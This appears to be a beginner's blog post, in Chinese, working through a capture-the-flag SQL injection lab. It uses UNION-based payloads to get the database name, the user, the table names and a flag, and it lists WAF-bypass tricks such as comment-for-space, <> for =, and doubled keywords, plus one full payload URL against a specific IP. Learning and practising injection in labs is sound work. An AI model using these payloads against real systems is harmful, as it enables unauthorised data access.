小白的sql注入

判断有无单引号报护

如果有单引号报护,
1' #

注释掉其后的单引号

and 1=1

1' and 1=1 #

依然回显数据

1 and 1=2


解决了我的一个疑惑, 就是如果 是 ’1 and 1=2' 还会不会执行语句, 现在看来是会的

1' order by 10 #


然后就判断数据表只有 4列

1' union select database(), user() #

提示列数不一样


1' union select database(),2,3 , 4#

image.png

1' union select database(),2,3 , user()#

所以database是 luozhen
用户名是 luozhen@127.0.0.1

1' union select table_name,table_schema 3,4 from information_schema.tables where table_schema= 'luozhen'#

获得了版本信息


@@version_compile_os
用这个得到了操作系统的信息

1' union select table_name,table_schema 3,4 from information_schema.tables where table_schema= 'luozhen'#

这个出问题了,并没有成功


1' union select table_name,table_schema ,3,4 from information_schema.tables where table_schema= 'luozhen'#

原来是少了个逗号

ok这次成功了

说明有一个flag的表

哇哈好兴奋, 成功了

payload 如下:

1' union select 1,flag, 2,3 from flag#


绕过waf的几种方式

绕过空格

用() 或者 /**/

绕过空格

绕过 =

用<>

提取字符

ascii()默认提取第一个字符
mid()from 1 for 3
substr()
surstring()

拼接字符

concat()

注入分类

基于布尔的盲注

这是异或注入


http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

再补充一点和mysql相关的。。


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容